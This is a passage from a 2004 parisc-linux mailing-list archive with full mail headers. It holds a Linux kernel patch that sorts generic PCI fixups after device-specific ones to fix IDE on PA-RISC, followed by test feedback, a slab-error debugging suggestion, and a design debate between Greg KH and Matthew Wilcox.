+++ linux-2.6/include/asm-generic/vmlinux.lds.h	22 Sep 2004 21:38:23 -0000
@@ -20,9 +20,11 @@
 	.pci_fixup        : AT(ADDR(.pci_fixup) - LOAD_OFFSET) {	\
 		VMLINUX_SYMBOL(__start_pci_fixups_header) = .;		\
 		*(.pci_fixup_header)					\
+		*(.pci_fixup_header_all)				\
 		VMLINUX_SYMBOL(__end_pci_fixups_header) = .;		\
 		VMLINUX_SYMBOL(__start_pci_fixups_final) = .;		\
 		*(.pci_fixup_final)					\
+		*(.pci_fixup_final_all)					\
 		VMLINUX_SYMBOL(__end_pci_fixups_final) = .;		\
 	}								\
 									\
Index: linux-2.6/include/linux/pci.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/linux/pci.h,v
retrieving revision 1.18
diff -u -p -r1.18 pci.h
--- linux-2.6/include/linux/pci.h	13 Sep 2004 15:24:12 -0000	1.18
+++ linux-2.6/include/linux/pci.h	22 Sep 2004 21:38:25 -0000
@@ -1011,15 +1011,22 @@ enum pci_fixup_pass {
 };
 
 /* Anonymous variables would be nice... */
-#define DECLARE_PCI_FIXUP_HEADER(vendor, device, hook)					\
-	static struct pci_fixup __pci_fixup_##vendor##device##hook __attribute_used__	\
-	__attribute__((__section__(".pci_fixup_header"))) = {				\
-		vendor, device, hook };
-
-#define DECLARE_PCI_FIXUP_FINAL(vendor, device, hook)				\
-	static struct pci_fixup __pci_fixup_##vendor##device##hook __attribute_used__	\
-	__attribute__((__section__(".pci_fixup_final"))) = {				\
+#define DECLARE_PCI_FIXUP_SECTION(section, name, vendor, device, hook)	\
+	static struct pci_fixup __pci_fixup_##name			\
+	__attribute_used__ __attribute__((__section__( #section ))) = {	\
 		vendor, device, hook };
+#define DECLARE_PCI_FIXUP_HEADER(vendor, device, hook)			\
+	DECLARE_PCI_FIXUP_SECTION(.pci_fixup_header,			\
+			vendor##device##hook, vendor, device, hook)
+#define DECLARE_PCI_FIXUP_HEADER_ALL(hook)				\
+	DECLARE_PCI_FIXUP_SECTION(.pci_fixup_header_all,		\
+			ALL_DEVICES##hook, PCI_ANY_ID, PCI_ANY_ID, hook)
+#define DECLARE_PCI_FIXUP_FINAL(vendor, device, hook)			\
+	DECLARE_PCI_FIXUP_SECTION(.pci_fixup_final,			\
+			vendor##device##hook, vendor, device, hook)
+#define DECLARE_PCI_FIXUP_FINAL_ALL(hook)				\
+	DECLARE_PCI_FIXUP_SECTION(.pci_fixup_final_all,			\
+			ALL_DEVICES##hook, PCI_ANY_ID, PCI_ANY_ID, hook)
 
 void pci_fixup_device(enum pci_fixup_pass pass, struct pci_dev *dev);
 

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain

From - Thu Nov 08 21:36:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] [PATCH] Sort generic PCI fixups after specific ones
Date: Thu, 23 Sep 2004 18:03:23 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <4152E6450000003B__46728.0476041653$1416624479$gmane$org@mail-3-bnl.tiscali.it>
References: <20040922214304.GS16153@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624479 25809 80.91.229.3 (22 Nov 2014 02:47:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:59 +0000 (UTC)
Cc: linux-pci@atrey.karlin.mff.cuni.cz,
 linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: "Matthew Wilcox" <matthew@wil.cx>,
 "Linus Torvalds" <torvalds@osdl.org>,
 "Andrew Morton" <akpm@zip.com.au>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13945 invoked by uid 65534); 23 Sep 2004 16:04:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx011) with SMTP; 23 Sep 2004 18:04:59 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 00EA53BDFC; Thu, 23 Sep 2004 10:04:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18828-07; Thu, 23 Sep 2004 10:04:45 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C37473BDEA; Thu, 23 Sep 2004 10:04:06 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 59CEF3BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 10:04:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18828-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 10:04:01 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 348F23BD3D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 10:04:01 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 9418A49474D; Thu, 23 Sep 2004 10:04:00 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-3-bnl.tiscali.it (mail-3-bnl.tiscali.it [213.205.33.223])
	by palinux.hppa (Postfix) with ESMTP id 0F685494735
	for <parisc-linux@parisc-linux.org>;
	Thu, 23 Sep 2004 10:04:00 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-3-bnl.tiscali.it with HTTP;
	Thu, 23 Sep 2004 18:03:23 +0200
In-Reply-To: <20040922214304.GS16153@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24928


> -- Original Message --
> Date: Wed, 22 Sep 2004 22:43:04 +0100
> From: Matthew Wilcox <matthew@wil.cx>
> To: Linus Torvalds <torvalds@osdl.org>,
> 	Andrew Morton <akpm@zip.com.au>
> Cc: linux-pci@atrey.karlin.mff.cuni.cz, linux-kernel@vger.kernel.org,
> 	parisc-linux@parisc-linux.org
> Subject: [parisc-linux] [PATCH] Sort generic PCI fixups after specific
ones
> 
> 
> 
> The recent change that allowed PCI fixups to be declared everywhere
> broke IDE on PA-RISC by making the generic IDE fixup be applied before
> the PA-RISC specific one.  This patch fixes that by sorting generic fix=
ups
> after the specific ones.  It also obeys the 80-column limit and reduces=

> the amount of grotty macro code.
> 
> I'd like to thank Joel Soete for his work tracking down the source of
> this problem.
>
Thanks (but too much honor)

That said, I apply your patch against 2.6.9-rc2-pa7 and it boot fine :)

Thanks a lot for great job,
Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
.
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: a fix for NS87415 on C3K broken
Date: Thu, 23 Sep 2004 09:27:50 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20040923162750.GX22642__26756.0363784016$1416624480$gmane$org@tausq.org>
References: <41501936000007AF@mail-7-bnl.tiscali.it>
	<4152E6450000004C@mail-3-bnl.tiscali.it>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624480 25811 80.91.229.3 (22 Nov 2014 02:48:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:00 +0000 (UTC)
Cc: linux-ide@vger.kernel.org,
 Bartlomiej Zolnierkiewicz <bzolnier@elka.pw.edu.pl>,
 parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6764 invoked by uid 65534); 23 Sep 2004 16:28:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 23 Sep 2004 18:28:21 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6A3323BDDD; Thu, 23 Sep 2004 10:28:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19213-07; Thu, 23 Sep 2004 10:28:09 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5A83C3BDF8; Thu, 23 Sep 2004 10:27:54 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 559E63BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 10:27:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19213-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 10:27:50 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 290D03BD3D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 10:27:50 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 8FC5249474D; Thu, 23 Sep 2004 10:27:47 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by palinux.hppa (Postfix) with ESMTP
	id 0AA82494735; Thu, 23 Sep 2004 10:27:47 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id DC44ACD28A; Thu, 23 Sep 2004 09:27:50 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <4152E6450000004C@mail-3-bnl.tiscali.it>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24929

> But when I try to use the ide-cdrom the system carsh with such oops:
> Backtrace:
>  [<000000001017e0d8>] drain_array_locked+0x98/0x148
>  [<000000001017e2c4>] cache_reap+0x13c/0x2b0
>  [<000000001015e574>] worker_thread+0x284/0x330
>  [<0000000010164714>] kthread+0x12c/0x138
>  [<000000001010647c>] ret_from_kernel_thread+0x24/0x38

maybe this will help:
http://marc.theaimsgroup.com/?l=linux-kernel&m=109529103522064&w=2

but we are seeing some of these slab errors with this build that are not
cdrom related too... :(

can you try compiling with slab debug (under kernel debugging)?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Sort generic PCI fixups after specific
	ones
Date: Thu, 23 Sep 2004 10:20:38 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <20040923172038.GA8812__38536.541365511$1416624480$gmane$org@kroah.com>
References: <20040922214304.GS16153@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624480 25814 80.91.229.3 (22 Nov 2014 02:48:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:00 +0000 (UTC)
Cc: Linus Torvalds <torvalds@osdl.org>,
 linux-pci@atrey.karlin.mff.cuni.cz,
 Andrew Morton <akpm@zip.com.au>,
 linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15997 invoked by uid 65534); 23 Sep 2004 17:21:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx013) with SMTP; 23 Sep 2004 19:21:50 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A57393BDCA; Thu, 23 Sep 2004 11:21:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19503-06; Thu, 23 Sep 2004 11:21:43 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 40C813BDF8; Thu, 23 Sep 2004 11:21:25 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1FAC23BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 11:21:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19503-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 11:21:19 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E4E473BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 11:21:18 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 6AD3C4947FE; Thu, 23 Sep 2004 11:21:18 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from perch.kroah.org (mail.kroah.org [69.55.234.183])
	by palinux.hppa (Postfix) with ESMTP id A268C494735
	for <parisc-linux@parisc-linux.org>;
	Thu, 23 Sep 2004 11:21:17 -0600 (MDT)
Original-Received: from DYN319081BLD.beaverton.ibm.com (bi01p1.co.us.ibm.com
	[32.97.110.142]) (authenticated)
	by perch.kroah.org (8.11.6/8.11.6) with ESMTP id i8NHKtG19942;
	Thu, 23 Sep 2004 10:20:55 -0700
Original-Received: from greg by echidna.kroah.org with local (masqmail 0.2.19)
	id 1CAXGp-2IU-00; Thu, 23 Sep 2004 10:20:39 -0700
Content-Disposition: inline
In-Reply-To: <20040922214304.GS16153@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24930

On Wed, Sep 22, 2004 at 10:43:04PM +0100, Matthew Wilcox wrote:
> 
> The recent change that allowed PCI fixups to be declared everywhere
> broke IDE on PA-RISC by making the generic IDE fixup be applied before
> the PA-RISC specific one.  This patch fixes that by sorting generic fixups
> after the specific ones.  It also obeys the 80-column limit and reduces
> the amount of grotty macro code.
> 
> I'd like to thank Joel Soete for his work tracking down the source of
> this problem.
> 
> Index: linux-2.6/drivers/pci/quirks.c
> ===================================================================
> RCS file: /var/cvs/linux-2.6/drivers/pci/quirks.c,v
> retrieving revision 1.16
> diff -u -p -r1.16 quirks.c
> --- linux-2.6/drivers/pci/quirks.c	13 Sep 2004 15:23:21 -0000	1.16
> +++ linux-2.6/drivers/pci/quirks.c	22 Sep 2004 21:38:17 -0000
> @@ -543,7 +543,7 @@ static void __devinit quirk_cardbus_lega
>  		return;
>  	pci_write_config_dword(dev, PCI_CB_LEGACY_MODE_BASE, 0);
>  }
> -DECLARE_PCI_FIXUP_FINAL(PCI_ANY_ID,		PCI_ANY_ID,			quirk_cardbus_legacy );
> +DECLARE_PCI_FIXUP_FINAL_ALL(quirk_cardbus_legacy);

It looks like you are doing 2 different things here with this new macro.
Having it run last, and leting the user not type the PCI_ANY_ID macro
twice.  How about if you want to do a final final type pass, you mark it
as such, and not try to hide it in this manner.

And do we really want to call it "final final"?  What if we determine
that we need a "final final final" pass?  Can't you fix this with the
link order like was previously done?  I'd really prefer to not add
another level.

Oh, and cc:ing the pci maintainer might be nice next time :)

thanks,

greg k-h
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Sort generic PCI fixups after specific
	ones
Date: Thu, 23 Sep 2004 18:31:51 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <20040923173151.GX16153__34164.914643816$1416624480$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20040922214304.GS16153@parcelfarce.linux.theplanet.co.uk>
	<20040923172038.GA8812@kroah.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624480 25818 80.91.229.3 (22 Nov 2014 02:48:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:00 +0000 (UTC)
Cc: Linus Torvalds <torvalds@osdl.org>,
 Andrew Morton <akpm@zip.com.au>,
 Matthew Wilcox <matthew@wil.cx>,
 linux-pci@atrey.karlin.mff.cuni.cz,
 linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Greg KH <greg@kroah.com>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19794 invoked by uid 65534); 23 Sep 2004 17:32:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 23 Sep 2004 19:32:24 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8DD973BDF8; Thu, 23 Sep 2004 11:32:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19865-06; Thu, 23 Sep 2004 11:32:15 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A515C3BDFC; Thu, 23 Sep 2004 11:32:02 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5686D3BDEA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 11:31:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19511-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 11:31:57 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id EFD563BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Sep 2004 11:31:56 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 69F454947FE; Thu, 23 Sep 2004 11:31:56 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 9A53F494735
	for <parisc-linux@parisc-linux.org>;
	Thu, 23 Sep 2004 11:31:55 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CAXRf-0004v0-F2; Thu, 23 Sep 2004 18:31:51 +0100
Content-Disposition: inline
In-Reply-To: <20040923172038.GA8812@kroah.com>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24931

On Thu, Sep 23, 2004 at 10:20:38AM -0700, Greg KH wrote:
> On Wed, Sep 22, 2004 at 10:43:04PM +0100, Matthew Wilcox wrote:
> > The recent change that allowed PCI fixups to be declared everywhere
> > broke IDE on PA-RISC by making the generic IDE fixup be applied before
> > the PA-RISC specific one.  This patch fixes that by sorting generic fixups
> > after the specific ones.  It also obeys the 80-column limit and reduces
> > the amount of grotty macro code.
> 
> It looks like you are doing 2 different things here with this new macro.
> Having it run last, and leting the user not type the PCI_ANY_ID macro
> twice.  How about if you want to do a final final type pass, you mark it
> as such, and not try to hide it in this manner.

Not really.  There's two types of fixup (well, four if you multiply by
the header vs later possibility).  There's the incredibly specific ("this
device from this manufacturer forgets to set something properly") and
the incredibly general ("if this is a cardbus / IDE device, then ...").
This patch simply distinguishes between the two.  Obviously the general
ones run after the specific ones -- there's specific devices that forget
to set their class code, for example.

> And do we really want to call it "final final"?  What if we determine
> that we need a "final final final" pass?  Can't you fix this with the
> link order like was previously done?  I'd really prefer to not add
> another level.

I don't want to call it "final final" at all.  Did you miss the message
where I explained the problem with this being link order dependent?

> Oh, and cc:ing the pci maintainer might be nice next time :)

I already apologised to you on IRC for that yesterday.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: a fix for NS87415 on C3K broken
Date: Fri, 24 Sep 2004 09:04:25 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <4152E8820000014C__24526.52115976$1416624481$gmane$org@mail-7-bnl.tiscali.it>
References: <20040923162750.GX22642@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624481 25819 80.91.229.3 (22 Nov 2014 02:48:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:01 +0000 (UTC)
Cc: linux-ide@vger.kernel.org,
